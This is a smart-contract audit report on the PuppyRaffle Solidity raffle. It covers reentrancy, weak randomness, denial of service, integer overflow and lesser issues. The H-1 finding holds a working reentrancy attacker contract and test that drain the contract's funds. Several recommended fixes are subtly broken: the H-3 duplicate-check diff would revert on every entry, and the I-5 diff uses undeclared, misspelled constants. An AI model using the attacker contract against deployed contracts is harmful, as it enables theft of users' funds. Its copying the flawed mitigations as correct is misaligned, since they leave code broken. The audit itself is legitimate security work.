# HackDuck

# Protocol Audit Report: PuppyRaffle

# Table of Contents

# Disclaimer

The HackDuck team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

# Risk Classification

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

# Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the enterRaffle function with the following parameters:
- address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the refund function

- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

# Audit Details

## Scope

\src\PuppyRaffle.sol

## Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

# Findings

# High

### [H-1] Reentrancy atack in `PuppyRaffle::refund` allows entrant to drain all contract funds

**Description**

In the `PuppyRaffle::refund` function, a malicious players could have a `fallback/receive` function that keeps calling the `PuppyRaffle::refund`, therefore sending repeatedly the `entranceFee` in the external call and therefore draining all the funds from the contract.

This function does not follow the CEI pattern (Checks, Effects, Interactions), therefore creating the vulnerability.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>   payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
  }
```

**Impact**

- High

**Proof of Concept**

- 1: Attacker contract is deployed on chain.
- 2: An address calls the `attack` function of the attacker contract.
- 3: The `attack` function calls `PuppyRaffle::refund`.
- 4: `PuppyRaffle::refund` sends value to `fallback/receive`, therefore calling `PuppyRaffle::refund` again and draining all funds. **Proof of Code**

Please copy the folllowing inside the `PuppyRaffleTest.t.sol`:

▶ Code

```
  function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee*4}(players);

        reentrancyAttacker attackerContract = new reentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);
        vm.prank(attackUser);

        uint256 initialBalanceRaffle = address(puppyRaffle).balance;
        uint256 initialAttackerBalance = address(attackerContract).balance;

        attackerContract.attack{value: entranceFee}();

        console.log("Initial raffle balance:", initialBalanceRaffle);
        console.log("Initial attacker balance:", initialAttackerBalance);
        console.log("Final raffle balance:", address(puppyRaffle).balance);
        console.log("Final attacker balance:", address(attackerContract).balance);

    }
```

```
    contract reentrancyAttacker{

    PuppyRaffle puppyRaffle;
    uint256 attackerIndex;
    uint256 entranceFee;
    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }
    function attack() public payable{
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(players[0]);
        puppyRaffle.refund(attackerIndex);

    }

    fallback() external payable{
        if (address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }

}
```

#### Recommended Mitigation

Please follow the CEI pattern. Move the `players` update and event sent previous to the external call:

```diff

function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

#### Description

Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable find number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* this additionally means users could front-run this function and call `refund` if they see they are not the winner.

#### Impact

High

**Proof of concept**

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can manipulate their `msg.sender` to result in their address being used to generate the winner.
3. Users can revert the `selectWinner` function if the result is not what they expected.

**Recommended mitigation**

Use a criptographically provable random number generator such as Chainlink VRF.

### [H-3] Looping through players array to check for duplicates leads to potential denial of service (DoS) in the `PuppyRaffle::enterRaffle` function.

**Description:** Each new player increments the list of players that the next player will check for duplicates, therefore incrementing the gas cost for future players and discouraging them from entering the raffle, making it less secure.

**Impact:** The gas costs increments for every additional player, discouraging new players to enter the raffle.

**Proof of Concept:** Place the following code snippet into the `PuppyRaffleTest.t.sol`.

```
function testdosEnterRaffle() public {

        uint256 gasStart = gasleft();
        address[] memory players = new address[](10);
        for (uint256 i; i<10; i++){
            players[i]= address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee*players.length}(players);
        uint256 gasCost = gasStart - gasleft();
        console.log("Gas cost: %s", gasCost);

        gasStart = gasleft();
        address[] memory players2 = new address[](10);
        for (uint256 i; i<10; i++){
            players2[i]= address(i+100);
        }
        puppyRaffle.enterRaffle{value: entranceFee*players2.length}(players2);
        uint256 gasCostSecond = gasStart - gasleft();
        console.log("Gas cost: %s", gasCostSecond);
        assert(gasCostSecond > gasCost);
    }
```

**Recommended Mitigation:**

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

### [H-4] `PuppyRaffle::totalFees` could be affected by integer overflows.

**Description** Prior Solidity versions to `0.8.0` use unchecked integers, therefore not revoking overflows. **Impact** In the `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in the `withdrawFees` function. However if the `totalFees` variable overflows, the fees could be stucked in the contract forever. **Proof of Code**

▶

```
function testFeeOverflow() public{
        // uint64 limit = 19e18
        // collected fees are 20% of total --> limitentranceFee = 19e18/0.2
        // number of platers = limitentranceFee / entranceFee = 95
        // 95 for achieving the limit of uint64
        // enter 4 players raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee*4}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log("Starting fees: ", startingTotalFees);


        address[] memory playersNum = new address[](89);
        for (uint256 i=0; i<89; i++){
            playersNum[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee*89}(playersNum);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("Actual fees: ", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
    }
```

#### Recommended mitigation

1. Use a newer version of Solidity (above 0.8.0) and used `uin256` instead of `uint64` for the `totalFees` variable.
2. Additionally remove the balance check in `withdrawFees`

```diff
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors in the `require` statement.

# Medium

## [M-1] Pushing price in `PuppyRaffle::selectWinner` to winner without receive/fallback function will revert

**Description** Performing the external call to the winner in the line:

```
(bool success,) = winner.call{value: prizePool}("");
```

will cause `revert` if the address does not include a receive/fallback function.

**Impact** It will revert the `selectWinner` call, therefore provoking the loss of prize of the actual winner. If happens several times, it would make the lottery reset difficult. **Proof of concept**

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. Lottery ends.
3. `selectWinner`function would not work, even though the lottery is over. **Recommended mitigation** There are a few options:
4. Do not allow smart contract wallet entrants (not recommended).
5. Create a mapping of addresses --> payout `mapping(address=>uint256)` so winners can pull their funds themselves, rather than pushing the money to them (recommended).

# Low

## [L-1] `PuppyRaffle::getActivePlayerIndex` function returns 0 if players does not exist or if it is the first player

**Description**

The first player entering the raffle gets 0 as the return value of this function, therefore believing they're not in the raffle.

**Impact**

The player reenters the raffle again or believes they're not in it, therefore wasting gas.

**Proof of concept**

1: First entrant calls the function. 2: Function returns 0. 3: Entrant thinks they're not in the raffle accoding to docs, therefore reentering again causing gas loss.

**Mitigation**

Either revert the result if player is not in `players` array or return a `uint256` -1.

# Informational

## [I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

▶ 1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

## [I-2] Using an outdated version of Solidity is not recommended.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither

## [I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 191

  ```
          feeAddress = newFeeAddress;
  ```

## [I-4] `PuppyRaffle::selectWinner` does not follow CEI pattern, which is not best practice.

```diff
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
    }
```

## [I-5] Use of magic numbers is not a good practice.

The use of magic numbers in here is not recommended. It's best practice to saved them into variables to be more explanative.

```
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
+        PRICE_POOL_PERCENAGE = 80;
+        FEE_PERCENTAGE = 20;
+        uint256 prizePool = (totalAmountCollected * PRICE_POOL_PERCENTAGE) / 100;
+        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / 100;
```

# Gas

## [G-1] Unchanged state variables should be declared as constant or immutable.

Reading from storage is more expensive than reading from constant or immutable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`.
- `PuppyRaffle::commonImageUri` should be `constant`.
- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::legendaryImageUri` should be `constant`.

## [G-2] Loop condition contains `state_variable.length` that could be cached outside.

Cache the lengths of storage arrays if they are used and not modified in for loops.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
+ for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```